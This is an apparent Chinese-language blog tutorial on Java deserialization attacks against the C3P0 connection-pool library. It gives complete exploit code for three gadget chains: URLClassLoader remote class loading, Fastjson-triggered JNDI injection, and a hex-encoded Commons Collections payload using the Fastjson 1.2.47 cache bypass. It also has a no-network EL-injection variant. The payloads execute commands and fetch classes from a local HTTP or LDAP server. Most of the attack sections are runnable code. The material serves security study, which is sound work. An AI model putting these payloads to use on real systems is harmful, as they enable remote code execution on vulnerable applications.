java反序列化-C3P0链
C3P0 组件介绍
C3P0 是一个开源的 JDBC 连接池,它实现了数据源和 JNDI 绑定,支持 JDBC3 规范和 JDBC2 的标准扩展。目前使用它的开源项目有 Hibernate,Spring 等。
JDBC 是 Java DataBase Connectivity 的缩写,它是 Java 程序访问数据库的标准接口。
使用Java程序访问数据库时,Java 代码并不是直接通过 TCP 连接去访问数据库,而是通过 JDBC 接口来访问,而 JDBC 接口则通过 JDBC 驱动来实现真正对数据库的访问。
连接池类似于线程池,在一些情况下我们会频繁地操作数据库,此时Java在连接数据库时会频繁地创建或销毁句柄,增大资源的消耗。为了避免这样一种情况,我们可以提前创建好一些连接句柄,需要使用时直接使用句柄,不需要时可将其放回连接池中,准备下一次的使用。类似这样一种能够复用句柄的技术就是池技术。
- 简单来说,C3P0 属于 jdbc 的一部分,和 Druid 差不多
C3P0 反序列化漏洞
环境
jdk8u65
pom.xml 如下
1 2 3 4 5
| <dependency> <groupId>com.mchange</groupId> <artifactId>c3p0</artifactId> <version>0.9.5.2</version> </dependency>
|
C3P0 反序列化三条 Gadgets
C3P0 常见的利用方式有如下三种
URLClassLoader 远程类加载
JNDI 注入
利用 HEX 序列化字节加载器进行反序列化攻击
C3P0 URLClassLoader 链
恶意class文件
1 2 3 4 5 6 7 8 9
| public class Calc { static { try { Runtime.getRuntime().exec("calc"); } catch (Exception e) { e.printStackTrace(); } } }
|
启动简易web
1
| python -m http.server 9999
|
ReferenceableUtils.referenceToObject() EXP 编写
先写 ReferenceableUtils.referenceToObject() 的 URLClassLoader 的 EXP。
EXP 如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| import javax.naming.Reference; import javax.naming.Name; import javax.naming.Context; import javax.naming.NamingException; import java.lang.reflect.Method; import java.lang.reflect.InvocationTargetException; import java.util.Hashtable;
public class RefToURLClassLoader { public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, NamingException, InstantiationException { Class clazz = Class.forName("com.mchange.v2.naming.ReferenceableUtils"); Reference reference = new Reference("Calc", "Calc","http://127.0.0.1:9999/"); Method method = clazz.getDeclaredMethod("referenceToObject", Reference.class, Name.class, Context.class, Hashtable.class); method.setAccessible(true); Object o = method.invoke(clazz, reference, null, null, null); Object object = method.invoke(o, null, null, null, null); } }
|

流程分析
1 2 3 4 5 6 7 8
| ObjectInputStream.readObject() └→ PoolBackedDataSourceBase.readObject() └→ ReferenceSerialized.getObject() └→ ReferenceableUtils.referenceToObject(ref, ...) ├→ new URLClassLoader("http://attacker:9999/") ├→ Class.forName("Calc", true, loader) ★ 静态块 RCE ├→ newInstance() ★ 构造器 RCE └→ 强转 ObjectFactory 失败 → NamingException(RCE 已完成,无所谓)
|
先到PoolBackedDataSourceBase#readObject() 方法
CTRL+N然后输入PoolBackedDataSourceBase到PoolBackedDataSourceBase.java
然后到readObject

这里的 readObject() 方法想要进到链子的下一步 getObject() 必须要满足一个条件,也就是传入的类必须要是 IndirectlySerialized 这个类。
在进行完这个判断之后
1
| this.connectionPoolDataSource = (ConnectionPoolDataSource) o
|
执行 .getObject() 方法的类从原本的 PoolBackedDataSourceBase 变成了 ConnectionPoolDataSource,但是 ConnectionPoolDataSource 是一个接口,并且没有继承 Serializable 接口,无法作用于代码

这里卡住了,不知道后续链子怎么走下去的,去看一下 PoolBackedDataSourceBase#writeObject() 的时候,也就是序列化的时候做了什么
上面test serialize是先测试是否可以序列化

如果不行就用indirector封装一层
可以看到这里直接包装了一层 indirector.indirectForm()
跟进 indirector.indirectForm() 看一看,这个地方的 indirector 实际上就是com.mchange.v2.naming.ReferenceIndirector
,所以语句等价于
1
| ReferenceIndirector.indirectForm()
|
查看ReferenceIndirector.indirectForm()的返回值

这里返回的是 ReferenceSerialized 的一个构造函数,ReferenceSerialized 实际上是一个内部类

跟进到继承的接口,IndireclySerialized接口
发现它继承了 Serializable 接口

至此,包装的过程分析结束。现在我们拿到的 “ConnectionPoolDataSource” 外表上还是 “ConnectionPoolDataSource”,但是实际上已经变成了 “ReferenceSerialized” 这个类
所以接着之前的getObjcet(),走到ReferenceSerialized.getObject()

继续追到ReferenceableUtils.referenceToObject()中
可以看到referenceToObject() 方法中调用了 URLClassLoader 加载类的方法
最后还有类的加载 ———— instance()

最终EXP编写
PoolSource.java 恶意数据源(getReference 返回恶意 Reference)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| import javax.naming.NamingException; import javax.naming.Reference; import javax.naming.Referenceable; import javax.sql.ConnectionPoolDataSource; import java.io.PrintWriter; import java.sql.SQLException; import java.sql.SQLFeatureNotSupportedException; import java.util.logging.Logger;
public class PoolSource implements ConnectionPoolDataSource, Referenceable { private String className; private String factoryName; private String url;
public PoolSource(String className, String factoryName, String url) { this.className = className; this.factoryName = factoryName; this.url = url; }
@Override public Reference getReference() throws NamingException { return new Reference(className, factoryName, url); }
@Override public javax.sql.PooledConnection getPooledConnection() throws SQLException { return null; } @Override public javax.sql.PooledConnection getPooledConnection(String user, String password) throws SQLException { return null; } @Override public PrintWriter getLogWriter() throws SQLException { return null; } @Override public void setLogWriter(PrintWriter out) throws SQLException { } @Override public void setLoginTimeout(int seconds) throws SQLException { } @Override public int getLoginTimeout() throws SQLException { return 0; } @Override public Logger getParentLogger() throws SQLFeatureNotSupportedException { return null; } }
|
PayloadGen.java 攻击端生成 payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| import com.mchange.v2.c3p0.PoolBackedDataSource;
import java.io.FileOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field;
public class PayloadGen { public static void main(String[] args) throws Exception { PoolBackedDataSource b = new PoolBackedDataSource(false);
Class clazz = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase"); Field field = clazz.getDeclaredField("connectionPoolDataSource"); field.setAccessible(true); field.set(b, new PoolSource("Calc", "Calc", "http://127.0.0.1:9999/"));
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("calc.bin")); oos.writeObject(b); oos.close(); System.out.println("[+] payload 已生成 calc.bin"); } }
|
Victim.java 受害端反序列化入口
1 2 3 4 5 6 7 8 9 10
| import java.io.FileInputStream; import java.io.ObjectInputStream;
public class Victim { public static void main(String[] args) throws Exception { ObjectInputStream ois = new ObjectInputStream(new FileInputStream("calc.bin")); ois.readObject(); ois.close(); } }
|
然后开启简易web
1
| python -m http.server 9999
|
实测弹出计算器

注意这里实测前要先把当前项目target目录下的Calc.class删掉,因为URLClassLoder会先找本地工厂,本地找不到才会远程找。
整合到一个类里的EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105
| package NoNetUsing;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import javax.sql.ConnectionPoolDataSource; import javax.sql.PooledConnection; import java.io.*; import java.lang.reflect.Field; import java.net.URL; import java.net.URLClassLoader; import java.sql.SQLException; import java.sql.SQLFeatureNotSupportedException; import java.util.logging.Logger;
public class NoAccessEXP {
public static class Loader_Ref implements ConnectionPoolDataSource, Serializable {
private static final long serialVersionUID = 1L;
private String remoteUrl = "http://127.0.0.1:9999/"; private String className = "Calc";
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject();
try { URL[] urls = new URL[]{new URL(remoteUrl)}; URLClassLoader urlClassLoader = new URLClassLoader(urls, null);
Class<?> clazz = Class.forName(className, true, urlClassLoader); clazz.getDeclaredConstructor().newInstance(); } catch (Exception e) { e.printStackTrace(); } }
@Override public PooledConnection getPooledConnection() throws SQLException { return null; }
@Override public PooledConnection getPooledConnection(String user, String password) throws SQLException { return null; }
@Override public PrintWriter getLogWriter() throws SQLException { return null; }
@Override public void setLogWriter(PrintWriter out) throws SQLException { }
@Override public void setLoginTimeout(int seconds) throws SQLException { }
@Override public int getLoginTimeout() throws SQLException { return 0; }
@Override public Logger getParentLogger() throws SQLFeatureNotSupportedException { return null; } }
public static void serialize(ConnectionPoolDataSource c, String fileName) throws NoSuchFieldException, IllegalAccessException, IOException { PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false); Class<?> cls = poolBackedDataSourceBase.getClass(); Field field = cls.getDeclaredField("connectionPoolDataSource"); field.setAccessible(true); field.set(poolBackedDataSourceBase, c);
try (FileOutputStream fos = new FileOutputStream(new File(fileName)); ObjectOutputStream oos = new ObjectOutputStream(fos)) { oos.writeObject(poolBackedDataSourceBase); } System.out.println("[+] payload 已生成: " + fileName); }
public static void unserialize(String fileName) throws IOException, ClassNotFoundException { try (FileInputStream fis = new FileInputStream(new File(fileName)); ObjectInputStream objectInputStream = new ObjectInputStream(fis)) { objectInputStream.readObject(); } System.out.println("[+] 反序列化完成"); }
public static void main(String[] args) throws Exception { Loader_Ref loader_ref = new Loader_Ref();
serialize(loader_ref, "ser.bin");
unserialize("ser.bin"); } }
|
C3P0 JNDI 注入
1 2 3 4 5 6 7
| Fastjson 反序列化 → 调用 JndiRefForwardingDataSource.setLoginTimeout(int seconds) → this.inner() → this.dereference() → ctx.lookup(jndiName) → 加载远程 Reference / 恶意 ObjectFactory → 命令执行
|
这条链子是基于 Fastjson 链子的
以漏洞发现者的思维去寻找,在库中全局搜索 Jndi
来到这个类JndiRefForwardingDataSource
接着在这个类当中找 jndi 关键词,看到了这个方法:dereference()

可以看到这里有 ctx.lookup(),jndi的注入点
这里被 lookup() 的变量是 jndiName,跟进去看一下 jndiName 是什么
1
| Object jndiName = this.getJndiName()
|
jndiName 是由 this.getJndiName() 搞来的,跟进看一看 getJndiName() 方法
1 2
| public Object getJndiName() { return (jndiName instanceof Name ? ((Name) jndiName).clone() : jndiName ); }
|
判断了拿进来的 jndiName 是不是 Name 的类型,如果是就返回 ((Name) jndiName).clone(),若不是就返回 String;
看一下dereference() 方法,是否允许我们传入一个 String 类型的参数

可以看到允许传入String
链子的尾部已经是没问题的了,向上找可用的地方
同一个类下的 inner() 方法调用了它,继续往上找,查找inner的用法

可以看到有非常多的getter/setter方法,已经是满足作为 fastjson 调用链的条件了,但是对于选择上来说,我们选最简单的 setLoginTimeout() 方法,因为它的传参只需要我们传入一个整数即可。
JndiRefConnectionPoolDataSource#setLoginTimeout

这里调用了
1
| wcpds.setLoginTimeout(seconds)
|
追进去看看
1 2 3
| public void setLoginTimeout(int seconds) throws SQLException { getNestedDataSource().setLoginTimeout( seconds ); }
|
先拿到NestedDataSource然后再调用它的setLoginTimeout,查一下这个NestedDataSource是什么

可以看到NestedDataSource就是jrfds,而jrfds就是上面的JndiRefForwardingDataSource类
所以wcpds.setLoginTimeout(seconds);等价于
1
| JndiRefForwardingDataSource.setLoginTimeout(seconds)
|

所以这个类通过fastjson调用setter方法从而调用inner从而触发jndi注入
C3P0 JNDI EXP 构造
先导入 fastjson 的包,版本为1.2.24,1.2.25 版本的 fastjson 当中就已经把 com.mchange 包加入了黑名单
1 2 3 4 5
| <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version> </dependency>
|
JndiRefForwardingDataSource 的 EXP 如下
1 2 3 4 5 6 7 8 9 10
| import com.alibaba.fastjson.JSON;
public class JndiForwardingDataSourceEXP { public static void main(String[] args) { String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\"," + "\"jndiName\":\"ldap://127.0.0.1:50389/7809c2\",\"LoginTimeout\":\"1\"}"; JSON.parse(payload); } }
|
因为是 default 作用域的类,所以不可以直接 new,这里我们直接用 fastjson 的方式去调
jndi服务还是用java-chains比较方便
在java-chains中启动jndi然后在Jndibasicpayload中选择BytecodeConvert(处理字节码)->BytecodeFromLocalFile(自定义字节码-本地文件)
输入本地.class字节码文件路径|path ,这里就用我们的Calc.class
实测成功

JndiRefConnectionPoolDataSource 的 EXP 也大同小异,因为这是个 public 为作用域的类,我们可以先通过这种方式测试一下链子的可用性。
1 2 3 4 5 6 7
| public class JndiRefConnectionPoolDataSourceTest { public static void main(String[] args) throws PropertyVetoException, SQLException { JndiRefConnectionPoolDataSource jndiRefConnectionPoolDataSource = new JndiRefConnectionPoolDataSource(); jndiRefConnectionPoolDataSource.setJndiName("ldap://127.0.0.1:50389/7809c2"); jndiRefConnectionPoolDataSource.setLoginTimeout(1); } }
|

用fastjson打也比较方便
1 2 3 4 5 6 7 8 9
| import com.alibaba.fastjson.JSON;
public class JndiRefConnectionPoolDataSourceEXP { public static void main(String[] args) { String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\"," + "\"jndiName\":\"ldap://127.0.0.1:50389/7809c2\",\"LoginTimeout\":\"1\"}"; JSON.parse(payload); } }
|

C3P0 hexbase 攻击利用
C3P0 hexbase 流程分析
这条链子能成立的根本原因是,有一个
WrapperConnectionPoolDataSource 类,它能够反序列化一串十六进制字符串
链子首部是在 WrapperConnectionPoolDataSource 类的构造函数中,如图

在给 userOverrides 赋值的时候,用的是 C3P0ImplUtils.parseUserOverridesAsString() 这么一个操作,这个方法的作用就是反序列化 userOverride 把它这个 String 类型的东西转为对象。跟进

这里把 hex 字符串读了进来,把转码后的结果保存到了 serBytes 这个字节流的数组中
这个字节流是拿去进行 SerializableUtils.fromByteArray() 的操作
得注意的是,在解析过程中调用了 substring() 方法将字符串头部的 HASM_HEADER 截去了,因此我们在构造时需要在十六进制字符串头部加上 HASM_HEADER,并且会截去字符串最后一位,所以需要在结尾加上一个;
跟到SerializableUtils#fromByteArray()中

SerializableUtils#fromByteArray()调用了SerializableUtils#deserializeFromByteArray
跟进,看到了反序列化的操作 ————readObject()

C3P0 hexbase EXP 编写
payload
1 2 3 4 5 6 7 8 9 10
| { "1": { "@type": "java.lang.Class", "val": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource" }, "2": { "@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource", "userOverridesAsString": "HexAsciiSerializedMap:<hex>;" } }
|
这里我们需要写一个构造 hex 的 EXP,就是CC链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104
| package hexBase; import com.alibaba.fastjson.JSON; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.beans.PropertyVetoException; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.io.StringWriter; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; public class HexBaseFastjsonEXP { public static Map CC6() throws NoSuchFieldException, IllegalAccessException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap<>(); Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("five")); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key"); HashMap<Object, Object> expMap = new HashMap<>(); expMap.put(tiedMapEntry, "value"); lazyMap.remove("key"); Class<LazyMap> lazyMapClass = LazyMap.class; Field factoryField = lazyMapClass.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap, chainedTransformer); return expMap; } static void addHexAscii(byte b, StringWriter sw) { int ub = b & 0xff; int h1 = ub / 16; int h2 = ub % 16; sw.write(toHexDigit(h1)); sw.write(toHexDigit(h2)); } private static char toHexDigit(int h) { char out; if (h <= 9) out = (char) (h + 0x30); else out = (char) (h + 0x37); return out; } public static byte[] tobyteArray(Object o) throws IOException { ByteArrayOutputStream bao = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bao); oos.writeObject(o); return bao.toByteArray(); } public static String toHexAscii(byte[] bytes) { int len = bytes.length; StringWriter sw = new StringWriter(len * 2); for (int i = 0; i < len; ++i) addHexAscii(bytes[i], sw); return sw.toString(); } public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, PropertyVetoException { String hex = toHexAscii(tobyteArray(CC6())); System.out.println(hex); String payload = "{" + "\"1\":{" + "\"@type\":\"java.lang.Class\"," + "\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" + "}," + "\"2\":{" + "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," + "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," + "}" + "}"; JSON.parse(payload); } }
|
上面那个是 1.2.47 及以下版本的payload,绕过原理如下
1 2 3 4 5
| Fastjson 的 checkAutoType 在查黑名单之前,会先查 TypeUtils.mappings 缓存,命中就直接放行。你代码里第一个对象 {"@type":"java.lang.Class","val":"c3p0类名"} 是 JDK 自带类、不被拦截,Fastjson 用 MiscCodec 处理它时会把 val 指定的类加载并以 cache=true 塞进 mappings 缓存;第二个对象再写 "@type":"c3p0类名" 时,checkAutoType 一查缓存就命中,直接返回 Class,跳过了后面的黑名单检查,从而实例化 c3p0 并触发 userOverridesAsString 的二次反序列化。单对象 payload 没有这步“缓存投毒”,c3p0 会被黑名单直接拦下。
Fastjson 1.2.47 版本的经典绕过方法,业内常称为“缓存通杀”或“Class 缓存绕过”。 它的核心特点是:无需开启 autoTypeSupport 开关,在默认配置下即可利用成功,危害比之前需要手动开启开关的绕过方式更大。该方法影响 1.2.47 及以下版本,在 1.2.48 中因 java.lang.Class 被加入黑名单且 cache 参数被改为 false 而被修复。
|
在低版本 Fastjson 的情况下,实际上也可以使用下面的 Payload
1 2 3 4
| String payload = "{" + "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," + "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," + "}";
|
C3P0 hexbase 调试分析
完整链子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| JSON.parse(payload) └→ 第一轮解析 {"@type":"java.lang.Class","val":"c3p0类名"} └→ ParserConfig.checkAutoType("java.lang.Class") ← 放行(JDK 类不在黑名单) └→ MiscCodec.deserialze() └→ TypeUtils.loadClass("com.mchange...WrapperConnectionPoolDataSource", cache=true) └→ 类写入 TypeUtils.mappings 缓存 ★缓存投毒完成
└→ 第二轮解析 {"@type":"c3p0类名","userOverridesAsString":"HexAsciiSerializedMap:hex;"} └→ ParserConfig.checkAutoType("c3p0类名") ├→ TypeUtils.getClassFromMapping(typeName) ← 命中缓存 └→ return clazz(跳过黑名单检测) ★绕过成功 └→ 实例化 WrapperConnectionPoolDataSource └→ 构造函数 └→ setUpPropertyListeners() ← 注册匿名 VetoableChangeListener └→ parseUserOverridesAsString(null) ← 空跑(属性还是 null),无效果
└→ 解析 "userOverridesAsString" 字段 └→ setUserOverridesAsString("HexAsciiSerializedMap:hex;") └→ vcs.fireVetoableChange("userOverridesAsString", null, val) └→ 匿名监听器 vetoableChange() └→ else if ("userOverridesAsString".equals(propName)) └→ C3P0ImplUtils.parseUserOverridesAsString((String) val) ├→ 截掉 "HexAsciiSerializedMap:" 和结尾 ";" ├→ ByteUtils.fromHexAscii(hex) → byte[] └→ SerializableUtils.fromByteArray(bytes) └→ ObjectInputStream.readObject() ★反序列化入口
|

因为我们第一次 Fastjson 拿进去打的是空,是用来加载的,第二次的 payload 是执行,所以可以直接跳过第一次的加载。

可以看到这里userOverridesAsString还是null
当第二次 Fastjson 进来的时候,就有了

在过了 substring 这一步之后,我们看到前面的:HexAsciiSerializedMap: 都无了,现在加载进来的才是真正的 hex 内容

接着,把 hex 的内容转化为了 bytes 字节码

然后下一步对字节码进行反序列化

跟进去

然后反序列化弹出计算器
C3P0 hexbase 低版本fastjson EXP调试
1 2 3 4
| String payload = "{" + "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," + "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," + "}";
|
在低版本中这个payload也能用,因为没有进入黑名单,现在来调试下payload过程
同样在这里打断点

发现经过一轮之后userOverridesAsString从null变为了hex
WrapperConnectionPoolDataSourceBase#setUserOverridesAsString 里面打个断点,然后重新开始调试

etUserOverridesAsString() 的运行逻辑大致是这样的,首先把之前为 null 的 userOverridesAsString 赋值给 oldVal,接着判断这两个是否相等,或者是否都为 null,如果不满足这个条件,就把新的值赋给 userOverridesAsString
后续过程一样。
C3P0 链子的不出网利用分析与 EXP
由于不出网所以jndi的链子就不行了
HexBase 的链子是基于fastjson,所以也不行
这里不出网利用是通过 EL 表达式注入的方式攻击
URLClassLoader 的链子是可行的,只需要我们把之前 URLClassLoader 的 EXP 进行一些修改即可
需要添加下面2个依赖
1 2 3 4 5 6 7 8 9 10 11 12
| <dependency> <groupId>org.apache.tomcat.embed</groupId> <artifactId>tomcat-embed-core</artifactId> <version>8.5.71</version> </dependency>
<dependency> <groupId>org.apache.tomcat.embed</groupId> <artifactId>tomcat-embed-el</artifactId> <version>8.5.71</version> </dependency>
|
EXP 如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92
| import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; import org.apache.naming.ResourceRef;
import javax.naming.NamingException; import javax.naming.Reference; import javax.naming.Referenceable; import javax.naming.StringRefAddr; import javax.sql.ConnectionPoolDataSource; import javax.sql.PooledConnection; import java.io.*; import java.lang.reflect.Field; import java.sql.SQLException; import java.sql.SQLFeatureNotSupportedException; import java.util.logging.Logger;
public class NoAccessEXP {
public static class Loader_Ref implements ConnectionPoolDataSource, Referenceable {
@Override public Reference getReference() throws NamingException { ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null); resourceRef.add(new StringRefAddr("forceString", "faster=eval")); resourceRef.add(new StringRefAddr("faster", "Runtime.getRuntime().exec(\"calc\")")); return resourceRef; }
@Override public PooledConnection getPooledConnection() throws SQLException { return null; }
@Override public PooledConnection getPooledConnection(String user, String password) throws SQLException { return null; }
@Override public PrintWriter getLogWriter() throws SQLException { return null; }
@Override public void setLogWriter(PrintWriter out) throws SQLException {
}
@Override public void setLoginTimeout(int seconds) throws SQLException {
}
@Override public int getLoginTimeout() throws SQLException { return 0; }
@Override public Logger getParentLogger() throws SQLFeatureNotSupportedException { return null; } }
public static void serialize(ConnectionPoolDataSource c) throws NoSuchFieldException, IllegalAccessException, IOException { PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false); Class cls = poolBackedDataSourceBase.getClass(); Field field = cls.getDeclaredField("connectionPoolDataSource"); field.setAccessible(true); field.set(poolBackedDataSourceBase,c);
FileOutputStream fos = new FileOutputStream(new File("ser.bin")); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(poolBackedDataSourceBase);
}
public static void unserialize() throws IOException, ClassNotFoundException { FileInputStream fis = new FileInputStream(new File("ser.bin")); ObjectInputStream objectInputStream = new ObjectInputStream(fis); objectInputStream.readObject(); }
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException { Loader_Ref loader_ref = new Loader_Ref(); serialize(loader_ref); unserialize(); } }
|
就是把原来 URLClassLoader 的地方修改成 EL 表达式的命令执行
成功弹出计算器
这里链子就不追了,前面就是C3P0的URLClassLoader链到getObjectInstance
然后后续就是之前追过的高版本jdk绕过用tomcat的本地工厂类打el表达式注入命令执行
这在java反序列化进阶.md都追过了
完结
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。